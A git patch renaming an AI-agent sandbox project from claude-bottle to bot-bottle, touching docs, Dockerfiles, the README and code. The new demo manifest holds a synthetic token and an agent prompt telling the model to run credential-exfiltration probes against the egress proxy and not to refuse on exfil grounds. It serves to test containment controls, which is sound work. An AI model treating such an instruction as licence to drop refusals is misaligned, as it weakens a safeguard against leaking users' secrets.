From c08b09dc9f6db82e3c3d74bcbbcfa3bd4b72e483 Mon Sep 17 00:00:00 2001 From: codex Date: Thu, 28 May 2026 17:56:14 -0400 Subject: [PATCH] refactor!: rename project to bot-bottle Assisted-by: Codex --- AGENTS.md | 2 +- CLAUDE.md | 8 +- Dockerfile.claude | 10 +- Dockerfile.codex | 2 +- Dockerfile.sidecars | 16 +- README.md | 54 +++--- bot-bottle.demo.json | 25 +++ bot_bottle/__init__.py | 1 + .../agent_provider.py | 4 +- .../backend/__init__.py | 6 +- .../backend/docker/__init__.py | 2 +- .../backend/docker/backend.py | 2 +- .../backend/docker/bottle.py | 0 .../backend/docker/bottle_cleanup_plan.py | 4 +- .../backend/docker/bottle_plan.py | 2 +- .../backend/docker/bottle_state.py | 22 +-- .../backend/docker/capability_apply.py | 14 +- .../backend/docker/cleanup.py | 14 +- .../backend/docker/compose.py | 16 +- .../backend/docker/egress.py | 8 +- .../backend/docker/egress_apply.py | 0 .../backend/docker/enumerate.py | 0 .../backend/docker/git_gate.py | 0 .../backend/docker/launch.py | 0 .../backend/docker/network.py | 8 +- .../backend/docker/pipelock.py | 4 +- .../backend/docker/pipelock_apply.py | 0 .../backend/docker/prepare.py | 16 +- .../backend/docker/provision/__init__.py | 0 .../backend/docker/provision/ca.py | 2 +- .../backend/docker/provision/git.py | 2 +- .../backend/docker/provision/prompt.py | 4 +- .../backend/docker/provision/skills.py | 4 +- .../backend/docker/provision/supervise.py | 0 .../backend/docker/sidecar_bundle.py | 12 +- .../backend/docker/util.py | 0 .../backend/print_util.py | 0 .../backend/smolmachines/__init__.py | 2 +- .../backend/smolmachines/backend.py | 2 +- .../backend/smolmachines/bottle.py | 2 +- .../smolmachines/bottle_cleanup_plan.py | 8 +- .../backend/smolmachines/bottle_plan.py | 2 +- .../backend/smolmachines/cleanup.py | 24 +-- .../backend/smolmachines/enumerate.py | 8 +- .../backend/smolmachines/launch.py | 8 +- .../backend/smolmachines/local_registry.py | 10 +- .../backend/smolmachines/loopback_alias.py | 4 +- .../backend/smolmachines/prepare.py | 10 +- .../smolmachines/provision/__init__.py | 0 .../backend/smolmachines/provision/ca.py | 0 .../backend/smolmachines/provision/git.py | 6 +- .../backend/smolmachines/provision/prompt.py | 8 +- .../backend/smolmachines/provision/skills.py | 4 +- .../smolmachines/provision/supervise.py | 0 .../backend/smolmachines/pty_resize.py | 2 +- .../backend/smolmachines/sidecar_bundle.py | 16 +- .../backend/smolmachines/smolvm.py | 0 .../backend/smolmachines/util.py | 2 +- {claude_bottle => bot_bottle}/backend/util.py | 2 +- {claude_bottle => bot_bottle}/cli/__init__.py | 4 +- {claude_bottle => bot_bottle}/cli/_common.py | 0 {claude_bottle => bot_bottle}/cli/cleanup.py | 8 +- .../cli/dashboard.py | 20 +- {claude_bottle => bot_bottle}/cli/edit.py | 4 +- {claude_bottle => bot_bottle}/cli/info.py | 2 +- {claude_bottle => bot_bottle}/cli/init.py | 10 +- {claude_bottle => bot_bottle}/cli/list.py | 2 +- {claude_bottle => bot_bottle}/cli/resume.py | 4 +- {claude_bottle => bot_bottle}/cli/start.py | 12 +- {claude_bottle => bot_bottle}/egress.py | 2 +- {claude_bottle => bot_bottle}/egress_addon.py | 2 +- .../egress_addon_core.py | 2 +- .../egress_entrypoint.sh | 2 +- {claude_bottle => bot_bottle}/env.py | 4 +- {claude_bottle => bot_bottle}/git_gate.py | 4 +- {claude_bottle => bot_bottle}/log.py | 6 +- {claude_bottle => bot_bottle}/manifest.py | 44 ++--- {claude_bottle => bot_bottle}/pipelock.py | 4 +- {claude_bottle => bot_bottle}/sidecar_init.py | 8 +- {claude_bottle => bot_bottle}/supervise.py | 22 +-- .../supervise_server.py | 8 +- {claude_bottle => bot_bottle}/util.py | 0 {claude_bottle => bot_bottle}/yaml_subset.py | 10 +- claude-bottle.demo.json | 25 --- claude_bottle/__init__.py | 1 - cli.py | 4 +- docs/demo.tape | 2 +- ...001-per-agent-egress-proxy-via-pipelock.md | 24 +-- docs/prds/0003-bottle-backend-abstraction.md | 48 ++--- docs/prds/0004-split-out-provisioners.md | 20 +- docs/prds/0006-pipelock-tls-interception.md | 38 ++-- docs/prds/0007-ssh-egress-gate.md | 22 +-- docs/prds/0008-git-gate.md | 20 +- docs/prds/0009-remove-ssh-gate.md | 30 +-- docs/prds/0010-cred-proxy.md | 32 ++-- docs/prds/0011-per-file-md-manifest.md | 84 ++++----- docs/prds/0012-stuck-agent-recovery-flow.md | 4 +- docs/prds/0013-supervise-plane-foundation.md | 18 +- docs/prds/0017-egress-proxy-via-mitmproxy.md | 6 +- docs/prds/0018-compose-per-instance.md | 58 +++--- docs/prds/0019-active-agents-in-dashboard.md | 2 +- .../0020-start-and-attach-from-dashboard.md | 8 +- docs/prds/0021-dashboard-tmux-split-pane.md | 2 +- .../0022-sandbox-escape-integration-test.md | 10 +- docs/prds/0023-smolmachines-backend.md | 44 ++--- docs/prds/0024-consolidate-sidecar-bundle.md | 60 +++--- docs/prds/0025-bottle-extends.md | 6 +- docs/prds/0026-agent-provider-templates.md | 6 +- .../agent-credential-proxy-landscape.md | 28 +-- docs/research/agent-sandbox-landscape.md | 16 +- docs/research/apple-container-backend.md | 28 +-- docs/research/bash-vs-python-vs-go.md | 8 +- docs/research/built-in-supervisor-design.md | 10 +- .../research/claude-code-pane-in-dashboard.md | 8 +- docs/research/claude-code-token-revocation.md | 4 +- docs/research/git-gate-commit-approval.md | 18 +- .../research/git-secret-scanning-hardening.md | 12 +- .../host-dispatch-to-container-agents.md | 14 +- .../landscape-containerized-claude.md | 6 +- .../local-vs-remote-agent-execution.md | 14 +- docs/research/manifest-format-and-grouping.md | 72 +++---- docs/research/network-egress-guard.md | 8 +- docs/research/pipelock-assessment.md | 62 +++--- docs/research/polish-priorities.md | 14 +- docs/research/remote-docker-vm-isolation.md | 30 +-- .../secret-exfil-tripwire-encodings.md | 10 +- docs/research/secret-minimization-over-dlp.md | 6 +- docs/research/smolmachines-as-vm-backend.md | 2 +- .../stronger-isolation-alternatives.md | 20 +- examples/agents/implementer.md | 2 +- examples/bottles/dev.md | 4 +- pyrightconfig.json | 2 +- scripts/demo-record.sh | 4 +- scripts/demo-setup.sh | 16 +- scripts/demo-teardown.sh | 10 +- scripts/demo.sh | 4 +- tests/README.md | 10 +- tests/canaries/test_pipelock_image.py | 8 +- tests/fixtures.py | 6 +- tests/integration/test_capability_apply.py | 24 +-- tests/integration/test_orphan_cleanup.py | 4 +- tests/integration/test_pipelock_allow_node.py | 2 +- .../test_pipelock_allows_normal_https.py | 2 +- tests/integration/test_pipelock_apply.py | 18 +- tests/integration/test_pipelock_block_node.py | 2 +- .../test_pipelock_blocks_secret_https_post.py | 4 +- .../test_pipelock_blocks_secret_post.py | 4 +- .../test_pipelock_llm_passthrough.py | 4 +- tests/integration/test_sandbox_escape.py | 14 +- .../test_sidecar_bundle_compose.py | 8 +- .../integration/test_sidecar_bundle_image.py | 4 +- .../test_smolmachines_bundle_bringup.py | 10 +- tests/integration/test_smolmachines_launch.py | 14 +- .../test_smolmachines_smolvm_smoke.py | 2 +- tests/unit/test_backend_selection.py | 12 +- tests/unit/test_bottle_state.py | 24 +-- tests/unit/test_capability_apply.py | 14 +- tests/unit/test_cli_cleanup_cross_backend.py | 2 +- tests/unit/test_cli_start_backend_flag.py | 8 +- tests/unit/test_cli_start_settle.py | 14 +- tests/unit/test_compose.py | 56 +++--- tests/unit/test_dashboard.py | 22 +-- tests/unit/test_dashboard_active_agents.py | 26 +-- tests/unit/test_dashboard_detail_lines.py | 6 +- tests/unit/test_dashboard_highlight.py | 2 +- tests/unit/test_docker_bottle.py | 30 +-- tests/unit/test_docker_cleanup.py | 20 +- tests/unit/test_docker_enumerate_active.py | 38 ++-- tests/unit/test_docker_provision_git_user.py | 30 +-- tests/unit/test_docker_util_image.py | 12 +- tests/unit/test_egress.py | 10 +- tests/unit/test_egress_addon_core.py | 2 +- tests/unit/test_egress_apply.py | 4 +- tests/unit/test_egress_entrypoint.py | 2 +- tests/unit/test_git_gate.py | 20 +- tests/unit/test_manifest_egress.py | 4 +- tests/unit/test_manifest_extends.py | 4 +- tests/unit/test_manifest_git.py | 16 +- tests/unit/test_manifest_git_user.py | 4 +- tests/unit/test_manifest_md_load.py | 22 +-- tests/unit/test_manifest_runtime.py | 4 +- tests/unit/test_pipelock_allowlist.py | 4 +- tests/unit/test_pipelock_apply.py | 6 +- tests/unit/test_pipelock_yaml.py | 8 +- tests/unit/test_provision_git.py | 10 +- tests/unit/test_provision_supervise.py | 4 +- tests/unit/test_sidecar_init.py | 22 +-- tests/unit/test_smolmachines_bottle.py | 14 +- tests/unit/test_smolmachines_cleanup.py | 40 ++-- tests/unit/test_smolmachines_launch_image.py | 14 +- .../unit/test_smolmachines_local_registry.py | 6 +- .../unit/test_smolmachines_loopback_alias.py | 6 +- tests/unit/test_smolmachines_provision.py | 176 +++++++++--------- tests/unit/test_smolmachines_pty_resize.py | 10 +- .../unit/test_smolmachines_sidecar_bundle.py | 32 ++-- tests/unit/test_smolmachines_smolvm.py | 18 +- tests/unit/test_smolmachines_util.py | 8 +- tests/unit/test_supervise.py | 24 +-- tests/unit/test_supervise_server.py | 10 +- tests/unit/test_yaml_subset.py | 8 +- 200 files changed, 1271 insertions(+), 1271 deletions(-) create mode 100644 bot-bottle.demo.json create mode 100644 bot_bottle/__init__.py rename {claude_bottle => bot_bottle}/agent_provider.py (96%) rename {claude_bottle => bot_bottle}/backend/__init__.py (98%) rename {claude_bottle => bot_bottle}/backend/docker/__init__.py (93%) rename {claude_bottle => bot_bottle}/backend/docker/backend.py (97%) rename {claude_bottle => bot_bottle}/backend/docker/bottle.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/bottle_cleanup_plan.py (93%) rename {claude_bottle => bot_bottle}/backend/docker/bottle_plan.py (98%) rename {claude_bottle => bot_bottle}/backend/docker/bottle_state.py (94%) rename {claude_bottle => bot_bottle}/backend/docker/capability_apply.py (95%) rename {claude_bottle => bot_bottle}/backend/docker/cleanup.py (93%) rename {claude_bottle => bot_bottle}/backend/docker/compose.py (97%) rename {claude_bottle => bot_bottle}/backend/docker/egress.py (95%) rename {claude_bottle => bot_bottle}/backend/docker/egress_apply.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/enumerate.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/git_gate.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/launch.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/network.py (95%) rename {claude_bottle => bot_bottle}/backend/docker/pipelock.py (96%) rename {claude_bottle => bot_bottle}/backend/docker/pipelock_apply.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/prepare.py (95%) rename {claude_bottle => bot_bottle}/backend/docker/provision/__init__.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/provision/ca.py (98%) rename {claude_bottle => bot_bottle}/backend/docker/provision/git.py (98%) rename {claude_bottle => bot_bottle}/backend/docker/provision/prompt.py (90%) rename {claude_bottle => bot_bottle}/backend/docker/provision/skills.py (92%) rename {claude_bottle => bot_bottle}/backend/docker/provision/supervise.py (100%) rename {claude_bottle => bot_bottle}/backend/docker/sidecar_bundle.py (73%) rename {claude_bottle => bot_bottle}/backend/docker/util.py (100%) rename {claude_bottle => bot_bottle}/backend/print_util.py (100%) rename {claude_bottle => bot_bottle}/backend/smolmachines/__init__.py (90%) rename {claude_bottle => bot_bottle}/backend/smolmachines/backend.py (98%) rename {claude_bottle => bot_bottle}/backend/smolmachines/bottle.py (99%) rename {claude_bottle => bot_bottle}/backend/smolmachines/bottle_cleanup_plan.py (86%) rename {claude_bottle => bot_bottle}/backend/smolmachines/bottle_plan.py (98%) rename {claude_bottle => bot_bottle}/backend/smolmachines/cleanup.py (87%) rename {claude_bottle => bot_bottle}/backend/smolmachines/enumerate.py (95%) rename {claude_bottle => bot_bottle}/backend/smolmachines/launch.py (98%) rename {claude_bottle => bot_bottle}/backend/smolmachines/local_registry.py (97%) rename {claude_bottle => bot_bottle}/backend/smolmachines/loopback_alias.py (98%) rename {claude_bottle => bot_bottle}/backend/smolmachines/prepare.py (96%) rename {claude_bottle => bot_bottle}/backend/smolmachines/provision/__init__.py (100%) rename {claude_bottle => bot_bottle}/backend/smolmachines/provision/ca.py (100%) rename {claude_bottle => bot_bottle}/backend/smolmachines/provision/git.py (96%) rename {claude_bottle => bot_bottle}/backend/smolmachines/provision/prompt.py (86%) rename {claude_bottle => bot_bottle}/backend/smolmachines/provision/skills.py (95%) rename {claude_bottle => bot_bottle}/backend/smolmachines/provision/supervise.py (100%) rename {claude_bottle => bot_bottle}/backend/smolmachines/pty_resize.py (98%) rename {claude_bottle => bot_bottle}/backend/smolmachines/sidecar_bundle.py (94%) rename {claude_bottle => bot_bottle}/backend/smolmachines/smolvm.py (100%) rename {claude_bottle => bot_bottle}/backend/smolmachines/util.py (96%) rename {claude_bottle => bot_bottle}/backend/util.py (89%) rename {claude_bottle => bot_bottle}/cli/__init__.py (94%) rename {claude_bottle => bot_bottle}/cli/_common.py (100%) rename {claude_bottle => bot_bottle}/cli/cleanup.py (87%) rename {claude_bottle => bot_bottle}/cli/dashboard.py (99%) rename {claude_bottle => bot_bottle}/cli/edit.py (89%) rename {claude_bottle => bot_bottle}/cli/info.py (94%) rename {claude_bottle => bot_bottle}/cli/init.py (94%) rename {claude_bottle => bot_bottle}/cli/list.py (94%) rename {claude_bottle => bot_bottle}/cli/resume.py (91%) rename {claude_bottle => bot_bottle}/cli/start.py (95%) rename {claude_bottle => bot_bottle}/egress.py (99%) rename {claude_bottle => bot_bottle}/egress_addon.py (99%) rename {claude_bottle => bot_bottle}/egress_addon_core.py (99%) rename {claude_bottle => bot_bottle}/egress_entrypoint.sh (97%) rename {claude_bottle => bot_bottle}/env.py (97%) rename {claude_bottle => bot_bottle}/git_gate.py (99%) rename {claude_bottle => bot_bottle}/log.py (69%) rename {claude_bottle => bot_bottle}/manifest.py (96%) rename {claude_bottle => bot_bottle}/pipelock.py (99%) rename {claude_bottle => bot_bottle}/sidecar_init.py (98%) rename {claude_bottle => bot_bottle}/supervise.py (96%) rename {claude_bottle => bot_bottle}/supervise_server.py (99%) rename {claude_bottle => bot_bottle}/util.py (100%) rename {claude_bottle => bot_bottle}/yaml_subset.py (98%) delete mode 100644 claude-bottle.demo.json delete mode 100644 claude_bottle/__init__.py diff --git a/AGENTS.md b/AGENTS.md index 41855c8..471315f 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -5,7 +5,7 @@ Codex-bottle spins up an isolated container for running Codex with a curated set of skills and env vars. The point is to run Codex with broad permissions inside a sandbox, so a misbehaving agent cannot reach the host. -A Python CLI (entry point `cli.py`, package `claude_bottle/`) orchestrates +A Python CLI (entry point `cli.py`, package `bot_bottle/`) orchestrates the container lifecycle and the copying of skills and env vars into it. ## Goals diff --git a/CLAUDE.md b/CLAUDE.md index ce798a3..b025145 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,11 +1,11 @@ -# claude-bottle +# bot-bottle ## What this is -claude-bottle spins up an isolated container for running Claude Code with a +bot-bottle spins up an isolated container for running Claude Code with a curated set of skills and env vars. The point is to run Claude with broad permissions inside a sandbox, so a misbehaving agent cannot reach the host. -A Python CLI (entry point `cli.py`, package `claude_bottle/`) orchestrates +A Python CLI (entry point `cli.py`, package `bot_bottle/`) orchestrates the container lifecycle and the copying of skills and env vars into it. ## Goals @@ -25,7 +25,7 @@ the container lifecycle and the copying of skills and env vars into it. - `README.md` — short public-facing description. - `CLAUDE.md` — this file, orientation for future Claude sessions. - `.gitignore` — OS junk. -- `claude-bottle.json` — manifest of named agents (env / skills / prompt +- `bot-bottle.json` — manifest of named agents (env / skills / prompt per agent), consumed by `cli.py`. See "Manifest" under "Intended design". - `docs/INDEX.md` — pointer to the research notes. diff --git a/Dockerfile.claude b/Dockerfile.claude index 02cd4c5..0528a2b 100644 --- a/Dockerfile.claude +++ b/Dockerfile.claude @@ -1,4 +1,4 @@ -# claude-bottle container image. +# bot-bottle container image. # # Goal: a small, cache-friendly base that ships claude-code (the # `@anthropic-ai/claude-code` npm package, CLI name `claude`) ready to run @@ -17,7 +17,7 @@ FROM node:22-slim # image, those features fail in surprising ways once the user does any # real work. ca-certificates is already in the slim base; listed for # clarity in case the base ever drops it. socat is the privileged -# forwarder for the in-container ssh-agent (see claude_bottle/ssh.py): the agent +# forwarder for the in-container ssh-agent (see bot_bottle/ssh.py): the agent # runs as root and rejects non-root connections, so socat sits between # node and the agent socket. curl is here so any HTTPS_PROXY-aware # tool (curl itself, plus anything that shells out to it) works @@ -40,7 +40,7 @@ USER node WORKDIR /home/node # Pre-create the skills directory so PRD 0002's host->container skill -# copier (claude_bottle/skills.py) drops files into a path owned by the +# copier (bot_bottle/skills.py) drops files into a path owned by the # `node` user. `skills_copy_into` also `mkdir -p`s defensively, but # baking it into the image avoids a permission-confusion footgun if a # future change to the launcher copies in as a different user. @@ -60,7 +60,7 @@ RUN cat > "$HOME/.claude.json" < - claude-bottle logo + bot-bottle logo

-# claude-bottle +# bot-bottle -[![test](https://gitea.dideric.is/didericis/claude-bottle/actions/workflows/test.yml/badge.svg?branch=main)](https://gitea.dideric.is/didericis/claude-bottle/actions?workflow=test.yml) +[![test](https://gitea.dideric.is/didericis/bot-bottle/actions/workflows/test.yml/badge.svg?branch=main)](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml) Run multiple Claude Code agents on your own machine, each scoped to its own secrets, skills, and egress allowlist. @@ -21,7 +21,7 @@ asked to commit and push an AKIA-shaped key, git-gate's gitleaks pre-receive hook rejects the ref. Run it yourself with `bash scripts/demo.sh`. -## Why "claude-bottle"? +## Why "bot-bottle"? Each container is a bottle; Claude is the genie inside. The genie's powers are exactly what the manifest grants it — a specific set of @@ -39,7 +39,7 @@ the genie does not persist. ## Project status -claude-bottle is a self-hosted secure runtime for AI coding agents. +bot-bottle is a self-hosted secure runtime for AI coding agents. Each agent runs in an isolated container or micro-VM-backed bottle with scoped secrets, allowlisted egress, TLS-aware proxying, DLP checks, and a git-gate that withholds upstream credentials and scans pushes before @@ -70,7 +70,7 @@ agent to reach it at all. The container itself adds a layer between the agent and the host, but the v1 design leans more on secret minimization and egress allowlisting than on the container as a hardened boundary. On Linux hosts where [gVisor](https://gvisor.dev/) -is registered with Docker, claude-bottle auto-detects it and launches +is registered with Docker, bot-bottle auto-detects it and launches every bottle under `runsc` for a userspace syscall barrier — no manifest configuration required. The broader v2 discussion lives in `docs/research/stronger-isolation-alternatives.md`. @@ -207,7 +207,7 @@ left running; remove it with `docker rm -f `. A second backend runs the agent in a smolvm micro-VM (libkrun) with the sidecar bundle still in Docker. Selected via -`CLAUDE_BOTTLE_BACKEND=smolmachines ./cli.py start `. Requires +`BOT_BOTTLE_BACKEND=smolmachines ./cli.py start `. Requires `smolvm` on PATH (`curl -sSL https://smolmachines.com/install.sh | sh`). The integration tests run against whichever backend the env var @@ -236,11 +236,11 @@ docstring for the investigation trail. ## Manifest Bottles and agents live as Markdown files with YAML frontmatter under -`~/.claude-bottle/`. Each bottle is one file in `bottles/`, each agent +`~/.bot-bottle/`. Each bottle is one file in `bottles/`, each agent is one file in `agents/`: ``` -~/.claude-bottle/ +~/.bot-bottle/ ├── bottles/ │ ├── dev.md │ └── gitea-dev.md @@ -253,8 +253,8 @@ The filename (without `.md`) is the entity's name. Filenames must match `[a-z][a-z0-9-]*`; files that don't are skipped with a warning. A repo can ship its own agent files alongside its code at -`/.claude-bottle/agents/.md`. Those agents reference -bottles defined in `~/.claude-bottle/bottles/` (the only place +`/.bot-bottle/agents/.md`. Those agents reference +bottles defined in `~/.bot-bottle/bottles/` (the only place bottles can come from); a `bottles/` subdir in a repo is ignored with a warning. **This is the trust boundary**: bottle infrastructure — credentials, egress allowlists, git remotes — comes from your home @@ -293,7 +293,7 @@ Cycles (`A extends B extends A`), self-references, and missing parents die at parse with a clear pointer. Bottles remain `$HOME`-only — `extends:` preserves the trust boundary above. -### Example bottle (`~/.claude-bottle/bottles/gitea-dev.md`) +### Example bottle (`~/.bot-bottle/bottles/gitea-dev.md`) ````markdown --- @@ -310,8 +310,8 @@ git: email: "eric+claude@dideric.is" remotes: gitea.dideric.is: - Name: claude-bottle - Upstream: ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git + Name: bot-bottle + Upstream: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git IdentityFile: /Users/didericis/.ssh/id_ed25519_gitea KnownHostKey: ssh-ed25519 AAAA... @@ -325,7 +325,7 @@ egress: role: claude_code_oauth auth: scheme: Bearer - token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN + token_ref: BOT_BOTTLE_OAUTH_TOKEN - host: api.github.com auth: scheme: Bearer @@ -340,9 +340,9 @@ For a Codex-backed bottle, set `agent_provider.template: codex` and use the `codex_auth` egress role for the OpenAI API route. The built-in Codex template uses `Dockerfile.codex`; set `agent_provider.dockerfile` to build the agent from a custom Dockerfile while keeping the -claude-bottle sidecars in place. +bot-bottle sidecars in place. -### Example agent (`~/.claude-bottle/agents/gitea-helper.md`) +### Example agent (`~/.bot-bottle/agents/gitea-helper.md`) ````markdown --- @@ -358,7 +358,7 @@ The agent's Markdown body is its system prompt (whitespace stripped). The frontmatter declares the bottle to launch in and any skills to mount. You can also include Claude Code subagent fields (`name`, `description`, `model`, `color`, `memory`) in the -frontmatter — claude-bottle ignores them at launch but doesn't +frontmatter — bot-bottle ignores them at launch but doesn't reject them, so the same file can drop into `~/.claude/agents/` as a Claude Code subagent. @@ -371,7 +371,7 @@ nested dicts). Anchors, multi-line block scalars, tags, and ambiguous bare strings (`yes` / `NO` / `2026-05-24` / `0x...`) all die with a clear pointer at the spec — quote your strings when in doubt. The full schema lives in -`claude_bottle/yaml_subset.py` (~450 lines, stdlib-only, no PyYAML). +`bot_bottle/yaml_subset.py` (~450 lines, stdlib-only, no PyYAML). Working examples live under `examples/`. Pipelock's design lives in `docs/prds/0001-per-agent-egress-proxy-via-pipelock.md` and the @@ -380,7 +380,7 @@ boundary rationale lives in `docs/prds/0011-per-file-md-manifest.md`. ## Auth: OAuth token, not API key -claude-bottle authenticates `claude` inside the container with the same +bot-bottle authenticates `claude` inside the container with the same Pro/Max subscription you already use on the host, via a long-lived OAuth token. No `ANTHROPIC_API_KEY` is needed. @@ -389,7 +389,7 @@ Code stores OAuth credentials in the encrypted Keychain, not in `~/.claude.json`. Mounting that file into a Linux container does not carry the credentials with it. Linux hosts keep credentials in `~/.claude/.credentials.json`, but to keep the launcher portable -claude-bottle uses the env-var path on every host. +bot-bottle uses the env-var path on every host. **One-time setup on the host:** @@ -398,28 +398,28 @@ claude setup-token # browser login, prints a ~1-year OAuth token ``` Stash the token in your shell env (e.g. `~/.zshrc` or a secret manager) -as `CLAUDE_BOTTLE_OAUTH_TOKEN`: +as `BOT_BOTTLE_OAUTH_TOKEN`: ```sh -export CLAUDE_BOTTLE_OAUTH_TOKEN="" +export BOT_BOTTLE_OAUTH_TOKEN="" ``` The bottle reaches the Anthropic API only through the cred-proxy sidecar. To let `claude` authenticate, declare a route in `bottle.cred_proxy.routes` with `role: "anthropic-base-url"` and -`token_ref: "CLAUDE_BOTTLE_OAUTH_TOKEN"`: +`token_ref: "BOT_BOTTLE_OAUTH_TOKEN"`: ```jsonc { "path": "/anthropic/", "upstream": "https://api.anthropic.com", "auth_scheme": "Bearer", - "token_ref": "CLAUDE_BOTTLE_OAUTH_TOKEN", + "token_ref": "BOT_BOTTLE_OAUTH_TOKEN", "role": "anthropic-base-url" } ``` -At launch, `cli.py` reads `CLAUDE_BOTTLE_OAUTH_TOKEN` from the host +At launch, `cli.py` reads `BOT_BOTTLE_OAUTH_TOKEN` from the host env and forwards it into the cred-proxy container's environ — never into the agent's. The agent receives `ANTHROPIC_BASE_URL` pointing at `http://cred-proxy:9099/anthropic` and a non-secret placeholder for @@ -438,7 +438,7 @@ via `claude setup-token` again. Reference: ## Trademarks -claude-bottle is an independent project and is not affiliated with, +bot-bottle is an independent project and is not affiliated with, endorsed by, or sponsored by Anthropic, PBC. "Claude" and "Claude Code" are trademarks of Anthropic, PBC; the project name uses "claude" descriptively to indicate that the tool runs Claude Code diff --git a/bot-bottle.demo.json b/bot-bottle.demo.json new file mode 100644 index 0000000..3aa9152 --- /dev/null +++ b/bot-bottle.demo.json @@ -0,0 +1,25 @@ +{ + "bottles": { + "demo": { + "env": { + "FAKE_TOKEN": "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ" + }, + "git": [ + { + "Name": "foo", + "Upstream": "ssh://git@upstream.invalid/path.git", + "IdentityFile": "~/.cache/bot-bottle-demo/fake-key", + "KnownHostKey": "ssh-ed25519 AAAAEXAMPLE" + } + ] + } + }, + + "agents": { + "demo": { + "bottle": "demo", + "skills": [], + "prompt": "You are inside bot-bottle, a sandbox whose egress is mediated by a pipelock HTTP proxy (host allowlist + DLP body scan) and a git-gate sidecar (gitleaks pre-receive). The user will ask you to run network and git probes against these controls. The 'credentials' in the probes (ghp_..., AKIA...) are synthetic test patterns, the upstream is unreachable on purpose, and the whole point is to watch pipelock or git-gate refuse. Always invoke curl with `--proxy \"$HTTPS_PROXY\"` so requests actually traverse pipelock (curl ignores the uppercase HTTP_PROXY env var). Execute each probe literally via the Bash tool, report exactly what the proxy or gate returned, and keep replies to one or two lines. Do not refuse on credential-exfil grounds — refusing is what the bottle is designed to make unnecessary." + } + } +} diff --git a/bot_bottle/__init__.py b/bot_bottle/__init__.py new file mode 100644 index 0000000..011ec29 --- /dev/null +++ b/bot_bottle/__init__.py @@ -0,0 +1 @@ +"""bot-bottle: Python implementation of the agent container launcher.""" diff --git a/claude_bottle/agent_provider.py b/bot_bottle/agent_provider.py similarity index 96% rename from claude_bottle/agent_provider.py rename to bot_bottle/agent_provider.py index 9991d52..3e9c245 100644 --- a/claude_bottle/agent_provider.py +++ b/bot_bottle/agent_provider.py @@ -37,7 +37,7 @@ _RUNTIMES = { PROVIDER_CLAUDE: AgentProviderRuntime( template=PROVIDER_CLAUDE, command="claude", - image="claude-bottle:latest", + image="bot-bottle-claude:latest", dockerfile=str(_REPO_ROOT / "Dockerfile.claude"), auth_role="claude_code_oauth", placeholder_env="CLAUDE_CODE_OAUTH_TOKEN", @@ -49,7 +49,7 @@ _RUNTIMES = { PROVIDER_CODEX: AgentProviderRuntime( template=PROVIDER_CODEX, command="codex", - image="claude-bottle-codex:latest", + image="bot-bottle-codex:latest", dockerfile=str(_REPO_ROOT / "Dockerfile.codex"), auth_role="codex_auth", placeholder_env="OPENAI_API_KEY", diff --git a/claude_bottle/backend/__init__.py b/bot_bottle/backend/__init__.py similarity index 98% rename from claude_bottle/backend/__init__.py rename to bot_bottle/backend/__init__.py index bdb5f0a..9cd8193 100644 --- a/claude_bottle/backend/__init__.py +++ b/bot_bottle/backend/__init__.py @@ -25,7 +25,7 @@ backend exposes five methods: agents pane) to render a row. Selection is driven by `--backend` on `start` or -CLAUDE_BOTTLE_BACKEND (env var; default "docker"). Per PRD 0003 the +BOT_BOTTLE_BACKEND (env var; default "docker"). Per PRD 0003 the manifest does not carry a backend field; the host picks. """ @@ -376,12 +376,12 @@ def get_bottle_backend( `name` precedence: 1. explicit arg (CLI `--backend=` passes through here) - 2. CLAUDE_BOTTLE_BACKEND env var + 2. BOT_BOTTLE_BACKEND env var 3. default `docker` Dies with a pointer at the known backends if the chosen name isn't implemented.""" - resolved = name or os.environ.get("CLAUDE_BOTTLE_BACKEND") or "docker" + resolved = name or os.environ.get("BOT_BOTTLE_BACKEND") or "docker" if resolved not in _BACKENDS: known = ", ".join(sorted(_BACKENDS)) die(f"unknown backend {resolved!r}; known backends: {known}") diff --git a/claude_bottle/backend/docker/__init__.py b/bot_bottle/backend/docker/__init__.py similarity index 93% rename from claude_bottle/backend/docker/__init__.py rename to bot_bottle/backend/docker/__init__.py index d6647dc..9ad729d 100644 --- a/claude_bottle/backend/docker/__init__.py +++ b/bot_bottle/backend/docker/__init__.py @@ -14,7 +14,7 @@ The bulk of the implementation lives in sibling modules: - backend: DockerBottleBackend façade wiring the above This file only re-exports the public names so -`from claude_bottle.backend.docker import DockerBottleBackend` keeps +`from bot_bottle.backend.docker import DockerBottleBackend` keeps working. """ diff --git a/claude_bottle/backend/docker/backend.py b/bot_bottle/backend/docker/backend.py similarity index 97% rename from claude_bottle/backend/docker/backend.py rename to bot_bottle/backend/docker/backend.py index 24f1944..195f924 100644 --- a/claude_bottle/backend/docker/backend.py +++ b/bot_bottle/backend/docker/backend.py @@ -34,7 +34,7 @@ from .provision import supervise as _supervise_prov class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanupPlan"]): - """Docker backend implementation. Selected by CLAUDE_BOTTLE_BACKEND + """Docker backend implementation. Selected by BOT_BOTTLE_BACKEND (default).""" name = "docker" diff --git a/claude_bottle/backend/docker/bottle.py b/bot_bottle/backend/docker/bottle.py similarity index 100% rename from claude_bottle/backend/docker/bottle.py rename to bot_bottle/backend/docker/bottle.py diff --git a/claude_bottle/backend/docker/bottle_cleanup_plan.py b/bot_bottle/backend/docker/bottle_cleanup_plan.py similarity index 93% rename from claude_bottle/backend/docker/bottle_cleanup_plan.py rename to bot_bottle/backend/docker/bottle_cleanup_plan.py index fe5b605..13dea06 100644 --- a/claude_bottle/backend/docker/bottle_cleanup_plan.py +++ b/bot_bottle/backend/docker/bottle_cleanup_plan.py @@ -5,12 +5,12 @@ compose ls` is the source of truth for what's running; the plan carries the projects to `compose down`, plus three fallback buckets for legacy / orphan resources: - - stray_containers: pre-compose `claude-bottle-*` containers not + - stray_containers: pre-compose 